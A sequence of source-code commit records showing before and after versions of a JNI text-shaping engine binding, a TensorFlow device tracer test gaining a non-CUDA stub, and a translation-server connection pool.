static void setTypeface(JNIEnv *env, jobject obj, jlong engineHandle, jobject jtypeface)
{
jlong typefaceHandle = JavaBridge(env).Typeface_getNativeTypeface(jtypeface);
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
Typeface *typeface = reinterpret_cast<Typeface *>(typefaceHandle);
shapingEngine->setTypeface(typeface);
}
static jfloat getTypeSize(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
return shapingEngine->typeSize();
}
static void setTypeSize(JNIEnv *env, jobject obj, jlong engineHandle, jfloat typeSize)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
shapingEngine->setTypeSize(typeSize);
}
static jint getScriptTag(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTag scriptTag = shapingEngine->scriptTag();
return static_cast<jint>(scriptTag);
}
static void setScriptTag(JNIEnv *env, jobject obj, jlong engineHandle, jint scriptTag)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTag inputTag = static_cast<SFTag>(scriptTag);
shapingEngine->setScriptTag(inputTag);
}
static jint getLanguageTag(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTag languageTag = shapingEngine->languageTag();
return static_cast<jint>(languageTag);
}
static void setLanguageTag(JNIEnv *env, jobject obj, jlong engineHandle, jint languageTag)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTag inputTag = static_cast<SFTag>(languageTag);
shapingEngine->setLanguageTag(inputTag);
}
static jint getWritingDirection(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTextDirection textDirection = shapingEngine->textDirection();
return static_cast<jint>(textDirection);
}
static void setWritingDirection(JNIEnv *env, jobject obj, jlong engineHandle, jint shapingDirection)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTextDirection textDirection = static_cast<SFTextDirection>(shapingDirection);
shapingEngine->setTextDirection(textDirection);
}
static jint getShapingOrder(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTextMode textMode = shapingEngine->textMode();
return static_cast<jint>(textMode);
}
static void setShapingOrder(JNIEnv *env, jobject obj, jlong engineHandle, jint shapingOrder)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTextMode textMode = static_cast<SFTextMode>(shapingOrder);
shapingEngine->setTextMode(textMode);
}
static void shapeText(JNIEnv *env, jobject obj, jlong engineHandle, jlong albumHandle, jstring text, jint fromIndex, jint toIndex)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
ShapingResult *opentypeAlbum = reinterpret_cast<ShapingResult *>(albumHandle);
const jchar *charArray = env->GetStringChars(text, nullptr);
shapingEngine->shapeText(*opentypeAlbum, charArray, fromIndex, toIndex);
env->ReleaseStringChars(text, charArray);
}
static JNINativeMethod JNI_METHODS[] = {
{ "nativeCreate", "()J", (void *)create },
{ "nativeDispose", "(J)V", (void *)dispose },
{ "nativeGetScriptDefaultDirection", "(I)I", (void *)getScriptDefaultDirection },
{ "nativeSetTypeface", "(JLcom/mta/tehreer/graphics/Typeface;)V", (void *)setTypeface },
{ "nativeGetTypeSize", "(J)F", (void *)getTypeSize },
{ "nativeSetTypeSize", "(JF)V", (void *)setTypeSize },
{ "nativeGetScriptTag", "(J)I", (void *)getScriptTag },
{ "nativeSetScriptTag", "(JI)V", (void *)setScriptTag },
{ "nativeGetLanguageTag", "(J)I", (void *)getLanguageTag },
{ "nativeSetLanguageTag", "(JI)V", (void *)setLanguageTag },
{ "nativeGetWritingDirection", "(J)I", (void *)getWritingDirection },
{ "nativeSetWritingDirection", "(JI)V", (void *)setWritingDirection },
{ "nativeGetShapingOrder", "(J)I", (void *)getShapingOrder },
{ "nativeSetShapingOrder", "(JI)V", (void *)setShapingOrder },
{ "nativeShapeText", "(JJLjava/lang/String;II)V", (void *)shapeText },
};
jint register_com_mta_tehreer_opentype_ShapingEngine(JNIEnv *env)
{
return JavaBridge::registerClass(env, "com/mta/tehreer/opentype/ShapingEngine", JNI_METHODS, sizeof(JNI_METHODS) / sizeof(JNI_METHODS[0]));
}
<commit_msg>[jni] Fixed empty pattern issue shaping engine...<commit_after>/*
* Copyright (C) 2017 Muhammad Tayyab Akram
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
extern "C" {
#include <SFArtist.h>
#include <SFBase.h>
#include <SFPattern.h>
#include <SFScheme.h>
}
#include <cstring>
#include <jni.h>
#include <map>
#include "JavaBridge.h"
#include "PatternCache.h"
#include "ShapingEngine.h"
using namespace Tehreer;
SFTextDirection ShapingEngine::getScriptDefaultDirection(SFTag scriptTag)
{
return SFScriptGetDefaultDirection(scriptTag);
}
ShapingEngine::ShapingEngine()
: m_sfArtist(SFArtistCreate())
, m_sfScheme(SFSchemeCreate())
, m_typeface(nullptr)
, m_typeSize(16.0)
, m_scriptTag(SFTagMake('D', 'F', 'L', 'T'))
, m_languageTag(SFTagMake('d', 'f', 'l', 't'))
, m_textMode(SFTextModeForward)
, m_textDirection(SFTextDirectionLeftToRight)
{
}
ShapingEngine::~ShapingEngine()
{
SFArtistRelease(m_sfArtist);
SFSchemeRelease(m_sfScheme);
}
void ShapingEngine::setTextDirection(SFTextDirection textDirection)
{
m_textDirection = textDirection;
SFArtistSetTextDirection(m_sfArtist, textDirection);
}
void ShapingEngine::setTextMode(SFTextMode textMode)
{
m_textMode = textMode;
SFArtistSetTextMode(m_sfArtist, textMode);
}
void ShapingEngine::shapeText(ShapingResult &shapingResult, const jchar *charArray, jint charStart, jint charEnd)
{
PatternCache &cache = m_typeface->patternCache();
PatternKey key(m_scriptTag, m_languageTag);
SFPatternRef pattern = cache.get(key);
if (!pattern) {
SFSchemeSetFont(m_sfScheme, m_typeface->sfFont());
SFSchemeSetScriptTag(m_sfScheme, m_scriptTag);
SFSchemeSetLanguageTag(m_sfScheme, m_languageTag);
pattern = SFSchemeBuildPattern(m_sfScheme);
cache.put(key, pattern);
SFPatternRelease(pattern);
}
if (pattern) {
jchar *stringOffset = const_cast<jchar *>(charArray + charStart);
void *stringBuffer = reinterpret_cast<void *>(stringOffset);
SFUInteger stringLength = static_cast<SFUInteger>(charEnd - charStart);
SFArtistSetPattern(m_sfArtist, pattern);
SFArtistSetString(m_sfArtist, SFStringEncodingUTF16, stringBuffer, stringLength);
SFArtistFillAlbum(m_sfArtist, shapingResult.sfAlbum());
}
jfloat sizeByEm = m_typeSize / m_typeface->ftFace()->units_per_EM;
bool isBackward = m_textMode == SFTextModeBackward;
shapingResult.setAdditionalInfo(sizeByEm, isBackward, charStart, charEnd);
}
static jint getScriptDefaultDirection(JNIEnv *env, jobject obj, jint scriptTag)
{
SFTag inputTag = static_cast<SFTag>(scriptTag);
SFTextDirection defaultDirection = ShapingEngine::getScriptDefaultDirection(inputTag);
return static_cast<jint>(defaultDirection);
}
static jlong create(JNIEnv *env, jobject obj)
{
ShapingEngine *shapingEngine = new ShapingEngine();
return reinterpret_cast<jlong>(shapingEngine);
}
static void dispose(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
delete shapingEngine;
}
static void setTypeface(JNIEnv *env, jobject obj, jlong engineHandle, jobject jtypeface)
{
jlong typefaceHandle = JavaBridge(env).Typeface_getNativeTypeface(jtypeface);
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
Typeface *typeface = reinterpret_cast<Typeface *>(typefaceHandle);
shapingEngine->setTypeface(typeface);
}
static jfloat getTypeSize(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
return shapingEngine->typeSize();
}
static void setTypeSize(JNIEnv *env, jobject obj, jlong engineHandle, jfloat typeSize)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
shapingEngine->setTypeSize(typeSize);
}
static jint getScriptTag(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTag scriptTag = shapingEngine->scriptTag();
return static_cast<jint>(scriptTag);
}
static void setScriptTag(JNIEnv *env, jobject obj, jlong engineHandle, jint scriptTag)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTag inputTag = static_cast<SFTag>(scriptTag);
shapingEngine->setScriptTag(inputTag);
}
static jint getLanguageTag(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTag languageTag = shapingEngine->languageTag();
return static_cast<jint>(languageTag);
}
static void setLanguageTag(JNIEnv *env, jobject obj, jlong engineHandle, jint languageTag)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTag inputTag = static_cast<SFTag>(languageTag);
shapingEngine->setLanguageTag(inputTag);
}
static jint getWritingDirection(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTextDirection textDirection = shapingEngine->textDirection();
return static_cast<jint>(textDirection);
}
static void setWritingDirection(JNIEnv *env, jobject obj, jlong engineHandle, jint shapingDirection)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTextDirection textDirection = static_cast<SFTextDirection>(shapingDirection);
shapingEngine->setTextDirection(textDirection);
}
static jint getShapingOrder(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTextMode textMode = shapingEngine->textMode();
return static_cast<jint>(textMode);
}
static void setShapingOrder(JNIEnv *env, jobject obj, jlong engineHandle, jint shapingOrder)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
SFTextMode textMode = static_cast<SFTextMode>(shapingOrder);
shapingEngine->setTextMode(textMode);
}
static void shapeText(JNIEnv *env, jobject obj, jlong engineHandle, jlong albumHandle, jstring text, jint fromIndex, jint toIndex)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
ShapingResult *opentypeAlbum = reinterpret_cast<ShapingResult *>(albumHandle);
const jchar *charArray = env->GetStringChars(text, nullptr);
shapingEngine->shapeText(*opentypeAlbum, charArray, fromIndex, toIndex);
env->ReleaseStringChars(text, charArray);
}
static JNINativeMethod JNI_METHODS[] = {
{ "nativeCreate", "()J", (void *)create },
{ "nativeDispose", "(J)V", (void *)dispose },
{ "nativeGetScriptDefaultDirection", "(I)I", (void *)getScriptDefaultDirection },
{ "nativeSetTypeface", "(JLcom/mta/tehreer/graphics/Typeface;)V", (void *)setTypeface },
{ "nativeGetTypeSize", "(J)F", (void *)getTypeSize },
{ "nativeSetTypeSize", "(JF)V", (void *)setTypeSize },
{ "nativeGetScriptTag", "(J)I", (void *)getScriptTag },
{ "nativeSetScriptTag", "(JI)V", (void *)setScriptTag },
{ "nativeGetLanguageTag", "(J)I", (void *)getLanguageTag },
{ "nativeSetLanguageTag", "(JI)V", (void *)setLanguageTag },
{ "nativeGetWritingDirection", "(J)I", (void *)getWritingDirection },
{ "nativeSetWritingDirection", "(JI)V", (void *)setWritingDirection },
{ "nativeGetShapingOrder", "(J)I", (void *)getShapingOrder },
{ "nativeSetShapingOrder", "(JI)V", (void *)setShapingOrder },
{ "nativeShapeText", "(JJLjava/lang/String;II)V", (void *)shapeText },
};
jint register_com_mta_tehreer_opentype_ShapingEngine(JNIEnv *env)
{
return JavaBridge::registerClass(env, "com/mta/tehreer/opentype/ShapingEngine", JNI_METHODS, sizeof(JNI_METHODS) / sizeof(JNI_METHODS[0]));
}
<|endoftext|> |
<commit_before>/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include <map>
#include <memory>
#include <string>
#include <unordered_map>
#include <vector>
#include "tensorflow/core/common_runtime/direct_session.h"
#include "tensorflow/core/common_runtime/step_stats_collector.h"
#include "tensorflow/core/framework/allocator.h"
#include "tensorflow/core/framework/graph.pb.h"
#include "tensorflow/core/framework/tensor.h"
#include "tensorflow/core/framework/tensor_testutil.h"
#include "tensorflow/core/framework/types.pb.h"
#include "tensorflow/core/graph/graph.h"
#include "tensorflow/core/graph/testlib.h"
#include "tensorflow/core/kernels/ops_util.h"
#include "tensorflow/core/lib/core/errors.h"
#include "tensorflow/core/lib/core/status.h"
#include "tensorflow/core/lib/core/status_test_util.h"
#include "tensorflow/core/lib/core/threadpool.h"
#include "tensorflow/core/platform/test.h"
#include "tensorflow/core/profiler/internal/profiler_interface.h"
#include "tensorflow/core/public/session_options.h"
#include "tensorflow/core/util/device_name_utils.h"
namespace tensorflow {
struct ProfilerContext;
std::unique_ptr<profiler::ProfilerInterface> CreateDeviceTracer(
const ProfilerContext*);
namespace {
std::unique_ptr<Session> CreateSession() {
SessionOptions options;
(*options.config.mutable_device_count())["CPU"] = 1;
(*options.config.mutable_device_count())["GPU"] = 1;
options.config.set_allow_soft_placement(true);
return std::unique_ptr<Session>(NewSession(options));
}
class DeviceTracerTest : public ::testing::Test {
public:
void Initialize(std::initializer_list<float> a_values) {
Graph graph(OpRegistry::Global());
Tensor a_tensor(DT_FLOAT, TensorShape({2, 2}));
test::FillValues<float>(&a_tensor, a_values);
Node* a = test::graph::Constant(&graph, a_tensor);
a->set_assigned_device_name("/job:localhost/replica:0/task:0/cpu:0");
Tensor x_tensor(DT_FLOAT, TensorShape({2, 1}));
test::FillValues<float>(&x_tensor, {1, 1});
Node* x = test::graph::Constant(&graph, x_tensor);
x->set_assigned_device_name("/job:localhost/replica:0/task:0/device:GPU:0");
x_ = x->name();
// y = A * x
Node* y = test::graph::Matmul(&graph, a, x, false, false);
y->set_assigned_device_name("/job:localhost/replica:0/task:0/device:GPU:0");
y_ = y->name();
// Use an Identity op to force a memcpy to CPU and back to GPU.
Node* i = test::graph::Identity(&graph, y);
i->set_assigned_device_name("/job:localhost/replica:0/task:0/cpu:0");
Node* y_neg = test::graph::Unary(&graph, "Neg", i);
y_neg_ = y_neg->name();
y_neg->set_assigned_device_name(
"/job:localhost/replica:0/task:0/device:GPU:0");
test::graph::ToGraphDef(&graph, &def_);
}
protected:
void ExpectFailure(const Status& status, error::Code code) {
EXPECT_FALSE(status.ok()) << status.ToString();
if (!status.ok()) {
LOG(INFO) << "Status message: " << status.error_message();
EXPECT_EQ(code, status.code()) << status.ToString();
}
}
string x_;
string y_;
string y_neg_;
GraphDef def_;
};
TEST_F(DeviceTracerTest, StartStop) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
TF_EXPECT_OK(tracer->Start());
TF_EXPECT_OK(tracer->Stop());
}
TEST_F(DeviceTracerTest, StopBeforeStart) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
TF_EXPECT_OK(tracer->Stop());
TF_EXPECT_OK(tracer->Stop());
}
TEST_F(DeviceTracerTest, CollectBeforeStart) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
RunMetadata run_metadata;
TF_EXPECT_OK(tracer->CollectData(&run_metadata));
EXPECT_EQ(run_metadata.step_stats().dev_stats_size(), 0);
}
TEST_F(DeviceTracerTest, CollectBeforeStop) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
TF_EXPECT_OK(tracer->Start());
RunMetadata run_metadata;
Status status = tracer->CollectData(&run_metadata);
ExpectFailure(status, tensorflow::error::FAILED_PRECONDITION);
TF_EXPECT_OK(tracer->Stop());
}
TEST_F(DeviceTracerTest, StartTwoTracers) {
auto tracer1 = CreateDeviceTracer(nullptr);
auto tracer2 = CreateDeviceTracer(nullptr);
if (!tracer1 || !tracer2) return;
TF_EXPECT_OK(tracer1->Start());
Status status = tracer2->Start();
ExpectFailure(status, tensorflow::error::UNAVAILABLE);
TF_EXPECT_OK(tracer1->Stop());
TF_EXPECT_OK(tracer2->Start());
TF_EXPECT_OK(tracer2->Stop());
}
TEST_F(DeviceTracerTest, RunWithTracer) {
// On non-GPU platforms, we may not support DeviceTracer.
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
Initialize({3, 2, -1, 0});
auto session = CreateSession();
ASSERT_TRUE(session != nullptr);
TF_ASSERT_OK(session->Create(def_));
std::vector<std::pair<string, Tensor>> inputs;
// Request two targets: one fetch output and one non-fetched output.
std::vector<string> output_names = {y_ + ":0"};
std::vector<string> target_nodes = {y_neg_};
std::vector<Tensor> outputs;
TF_ASSERT_OK(tracer->Start());
Status s = session->Run(inputs, output_names, target_nodes, &outputs);
TF_ASSERT_OK(s);
TF_ASSERT_OK(tracer->Stop());
ASSERT_EQ(1, outputs.size());
// The first output should be initialized and have the correct
// output.
auto mat = outputs[0].matrix<float>();
ASSERT_TRUE(outputs[0].IsInitialized());
EXPECT_FLOAT_EQ(5.0, mat(0, 0));
}
TEST_F(DeviceTracerTest, TraceToStepStatsCollector) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
Initialize({3, 2, -1, 0});
auto session = CreateSession();
ASSERT_TRUE(session != nullptr);
TF_ASSERT_OK(session->Create(def_));
std::vector<std::pair<string, Tensor>> inputs;
// Request two targets: one fetch output and one non-fetched output.
std::vector<string> output_names = {y_ + ":0"};
std::vector<string> target_nodes = {y_neg_};
std::vector<Tensor> outputs;
TF_ASSERT_OK(tracer->Start());
Status s = session->Run(inputs, output_names, target_nodes, &outputs);
TF_ASSERT_OK(s);
TF_ASSERT_OK(tracer->Stop());
RunMetadata run_metadata;
TF_ASSERT_OK(tracer->CollectData(&run_metadata));
// Depending on whether this runs on CPU or GPU, we will have a
// different number of devices.
EXPECT_GE(run_metadata.step_stats().dev_stats_size(), 1)
<< "Saw stats: " << run_metadata.DebugString();
}
TEST_F(DeviceTracerTest, RunWithTraceOption) {
Initialize({3, 2, -1, 0});
auto session = CreateSession();
ASSERT_TRUE(session != nullptr);
TF_ASSERT_OK(session->Create(def_));
std::vector<std::pair<string, Tensor>> inputs;
// Request two targets: one fetch output and one non-fetched output.
std::vector<string> output_names = {y_ + ":0"};
std::vector<string> target_nodes = {y_neg_};
std::vector<Tensor> outputs;
// Prepares RunOptions and RunOutputs
RunOptions run_options;
run_options.set_trace_level(RunOptions::FULL_TRACE);
RunMetadata run_metadata;
Status s = session->Run(run_options, inputs, output_names, target_nodes,
&outputs, &run_metadata);
TF_ASSERT_OK(s);
ASSERT_TRUE(run_metadata.has_step_stats());
// Depending on whether this runs on CPU or GPU, we will have a
// different number of devices.
EXPECT_GE(run_metadata.step_stats().dev_stats_size(), 1);
}
} // namespace
} // namespace tensorflow
<commit_msg>Fix a nightly breakage.<commit_after>/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include <map>
#include <memory>
#include <string>
#include <unordered_map>
#include <vector>
#include "tensorflow/core/common_runtime/direct_session.h"
#include "tensorflow/core/common_runtime/step_stats_collector.h"
#include "tensorflow/core/framework/allocator.h"
#include "tensorflow/core/framework/graph.pb.h"
#include "tensorflow/core/framework/tensor.h"
#include "tensorflow/core/framework/tensor_testutil.h"
#include "tensorflow/core/framework/types.pb.h"
#include "tensorflow/core/graph/graph.h"
#include "tensorflow/core/graph/testlib.h"
#include "tensorflow/core/kernels/ops_util.h"
#include "tensorflow/core/lib/core/errors.h"
#include "tensorflow/core/lib/core/status.h"
#include "tensorflow/core/lib/core/status_test_util.h"
#include "tensorflow/core/lib/core/threadpool.h"
#include "tensorflow/core/platform/test.h"
#include "tensorflow/core/profiler/internal/profiler_interface.h"
#include "tensorflow/core/public/session_options.h"
#include "tensorflow/core/util/device_name_utils.h"
namespace tensorflow {
struct ProfilerContext;
#if GOOGLE_CUDA
std::unique_ptr<profiler::ProfilerInterface> CreateDeviceTracer(
const ProfilerContext*);
#else
// We don't have device tracer for non-cuda case.
std::unique_ptr<profiler::ProfilerInterface> CreateDeviceTracer(
const ProfilerContext*) {
return nullptr;
}
#endif
namespace {
std::unique_ptr<Session> CreateSession() {
SessionOptions options;
(*options.config.mutable_device_count())["CPU"] = 1;
(*options.config.mutable_device_count())["GPU"] = 1;
options.config.set_allow_soft_placement(true);
return std::unique_ptr<Session>(NewSession(options));
}
class DeviceTracerTest : public ::testing::Test {
public:
void Initialize(std::initializer_list<float> a_values) {
Graph graph(OpRegistry::Global());
Tensor a_tensor(DT_FLOAT, TensorShape({2, 2}));
test::FillValues<float>(&a_tensor, a_values);
Node* a = test::graph::Constant(&graph, a_tensor);
a->set_assigned_device_name("/job:localhost/replica:0/task:0/cpu:0");
Tensor x_tensor(DT_FLOAT, TensorShape({2, 1}));
test::FillValues<float>(&x_tensor, {1, 1});
Node* x = test::graph::Constant(&graph, x_tensor);
x->set_assigned_device_name("/job:localhost/replica:0/task:0/device:GPU:0");
x_ = x->name();
// y = A * x
Node* y = test::graph::Matmul(&graph, a, x, false, false);
y->set_assigned_device_name("/job:localhost/replica:0/task:0/device:GPU:0");
y_ = y->name();
// Use an Identity op to force a memcpy to CPU and back to GPU.
Node* i = test::graph::Identity(&graph, y);
i->set_assigned_device_name("/job:localhost/replica:0/task:0/cpu:0");
Node* y_neg = test::graph::Unary(&graph, "Neg", i);
y_neg_ = y_neg->name();
y_neg->set_assigned_device_name(
"/job:localhost/replica:0/task:0/device:GPU:0");
test::graph::ToGraphDef(&graph, &def_);
}
protected:
void ExpectFailure(const Status& status, error::Code code) {
EXPECT_FALSE(status.ok()) << status.ToString();
if (!status.ok()) {
LOG(INFO) << "Status message: " << status.error_message();
EXPECT_EQ(code, status.code()) << status.ToString();
}
}
string x_;
string y_;
string y_neg_;
GraphDef def_;
};
TEST_F(DeviceTracerTest, StartStop) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
TF_EXPECT_OK(tracer->Start());
TF_EXPECT_OK(tracer->Stop());
}
TEST_F(DeviceTracerTest, StopBeforeStart) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
TF_EXPECT_OK(tracer->Stop());
TF_EXPECT_OK(tracer->Stop());
}
TEST_F(DeviceTracerTest, CollectBeforeStart) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
RunMetadata run_metadata;
TF_EXPECT_OK(tracer->CollectData(&run_metadata));
EXPECT_EQ(run_metadata.step_stats().dev_stats_size(), 0);
}
TEST_F(DeviceTracerTest, CollectBeforeStop) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
TF_EXPECT_OK(tracer->Start());
RunMetadata run_metadata;
Status status = tracer->CollectData(&run_metadata);
ExpectFailure(status, tensorflow::error::FAILED_PRECONDITION);
TF_EXPECT_OK(tracer->Stop());
}
TEST_F(DeviceTracerTest, StartTwoTracers) {
auto tracer1 = CreateDeviceTracer(nullptr);
auto tracer2 = CreateDeviceTracer(nullptr);
if (!tracer1 || !tracer2) return;
TF_EXPECT_OK(tracer1->Start());
Status status = tracer2->Start();
ExpectFailure(status, tensorflow::error::UNAVAILABLE);
TF_EXPECT_OK(tracer1->Stop());
TF_EXPECT_OK(tracer2->Start());
TF_EXPECT_OK(tracer2->Stop());
}
TEST_F(DeviceTracerTest, RunWithTracer) {
// On non-GPU platforms, we may not support DeviceTracer.
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
Initialize({3, 2, -1, 0});
auto session = CreateSession();
ASSERT_TRUE(session != nullptr);
TF_ASSERT_OK(session->Create(def_));
std::vector<std::pair<string, Tensor>> inputs;
// Request two targets: one fetch output and one non-fetched output.
std::vector<string> output_names = {y_ + ":0"};
std::vector<string> target_nodes = {y_neg_};
std::vector<Tensor> outputs;
TF_ASSERT_OK(tracer->Start());
Status s = session->Run(inputs, output_names, target_nodes, &outputs);
TF_ASSERT_OK(s);
TF_ASSERT_OK(tracer->Stop());
ASSERT_EQ(1, outputs.size());
// The first output should be initialized and have the correct
// output.
auto mat = outputs[0].matrix<float>();
ASSERT_TRUE(outputs[0].IsInitialized());
EXPECT_FLOAT_EQ(5.0, mat(0, 0));
}
TEST_F(DeviceTracerTest, TraceToStepStatsCollector) {
auto tracer = CreateDeviceTracer(nullptr);
if (!tracer) return;
Initialize({3, 2, -1, 0});
auto session = CreateSession();
ASSERT_TRUE(session != nullptr);
TF_ASSERT_OK(session->Create(def_));
std::vector<std::pair<string, Tensor>> inputs;
// Request two targets: one fetch output and one non-fetched output.
std::vector<string> output_names = {y_ + ":0"};
std::vector<string> target_nodes = {y_neg_};
std::vector<Tensor> outputs;
TF_ASSERT_OK(tracer->Start());
Status s = session->Run(inputs, output_names, target_nodes, &outputs);
TF_ASSERT_OK(s);
TF_ASSERT_OK(tracer->Stop());
RunMetadata run_metadata;
TF_ASSERT_OK(tracer->CollectData(&run_metadata));
// Depending on whether this runs on CPU or GPU, we will have a
// different number of devices.
EXPECT_GE(run_metadata.step_stats().dev_stats_size(), 1)
<< "Saw stats: " << run_metadata.DebugString();
}
TEST_F(DeviceTracerTest, RunWithTraceOption) {
Initialize({3, 2, -1, 0});
auto session = CreateSession();
ASSERT_TRUE(session != nullptr);
TF_ASSERT_OK(session->Create(def_));
std::vector<std::pair<string, Tensor>> inputs;
// Request two targets: one fetch output and one non-fetched output.
std::vector<string> output_names = {y_ + ":0"};
std::vector<string> target_nodes = {y_neg_};
std::vector<Tensor> outputs;
// Prepares RunOptions and RunOutputs
RunOptions run_options;
run_options.set_trace_level(RunOptions::FULL_TRACE);
RunMetadata run_metadata;
Status s = session->Run(run_options, inputs, output_names, target_nodes,
&outputs, &run_metadata);
TF_ASSERT_OK(s);
ASSERT_TRUE(run_metadata.has_step_stats());
// Depending on whether this runs on CPU or GPU, we will have a
// different number of devices.
EXPECT_GE(run_metadata.step_stats().dev_stats_size(), 1);
}
} // namespace
} // namespace tensorflow
<|endoftext|> |
<commit_before>/*
* Connection pooling for the translation server.
*
* author: Max Kellermann <mk@cm4all.com>
*/
#include "tstock.hxx"
#include "translate_client.hxx"
#include "stock.hxx"
#include "tcp_stock.hxx"
#include "lease.hxx"
#include "pool.hxx"
#include "net/AllocatedSocketAddress.hxx"
#include <daemon/log.h>
#include <assert.h>
#include <sys/un.h>
#include <sys/socket.h>
struct tstock {
StockMap *tcp_stock;
AllocatedSocketAddress address;
const char *address_string;
};
struct tstock_request {
struct pool *pool;
struct tstock *stock;
StockItem *item;
const TranslateRequest *request;
const TranslateHandler *handler;
void *handler_ctx;
struct async_operation_ref *async_ref;
};
/*
* socket lease
*
*/
static void
tstock_socket_release(bool reuse, void *ctx)
{
tstock_request *r = (tstock_request *)ctx;
tcp_stock_put(r->stock->tcp_stock, *r->item, !reuse);
}
static const struct lease tstock_socket_lease = {
.release = tstock_socket_release,
};
/*
* stock callback
*
*/
static void
tstock_stock_ready(StockItem &item, void *ctx)
{
tstock_request *r = (tstock_request *)ctx;
r->item = &item;
translate(r->pool, tcp_stock_item_get(item),
&tstock_socket_lease, r,
r->request, r->handler, r->handler_ctx,
r->async_ref);
}
static void
tstock_stock_error(GError *error, void *ctx)
{
tstock_request *r = (tstock_request *)ctx;
r->handler->error(error, r->handler_ctx);
}
static constexpr StockGetHandler tstock_stock_handler = {
.ready = tstock_stock_ready,
.error = tstock_stock_error,
};
/*
* constructor
*
*/
struct tstock *
tstock_new(struct pool &pool, StockMap &tcp_stock, const char *socket_path)
{
auto stock = NewFromPool<tstock>(pool);
stock->tcp_stock = &tcp_stock;
stock->address.SetLocal(socket_path);
stock->address_string = socket_path;
return stock;
}
void
tstock_translate(struct tstock &stock, struct pool &pool,
const TranslateRequest &request,
const TranslateHandler &handler, void *ctx,
struct async_operation_ref &async_ref)
{
auto r = NewFromPool<tstock_request>(pool);
r->pool = &pool;
r->stock = &stock;
r->request = &request;
r->handler = &handler;
r->handler_ctx = ctx;
r->async_ref = &async_ref;
tcp_stock_get(stock.tcp_stock, &pool, stock.address_string,
false, SocketAddress::Null(),
stock.address,
10,
&tstock_stock_handler, r,
&async_ref);
}
<commit_msg>tstock: add constructor<commit_after>/*
* Connection pooling for the translation server.
*
* author: Max Kellermann <mk@cm4all.com>
*/
#include "tstock.hxx"
#include "translate_client.hxx"
#include "stock.hxx"
#include "tcp_stock.hxx"
#include "lease.hxx"
#include "pool.hxx"
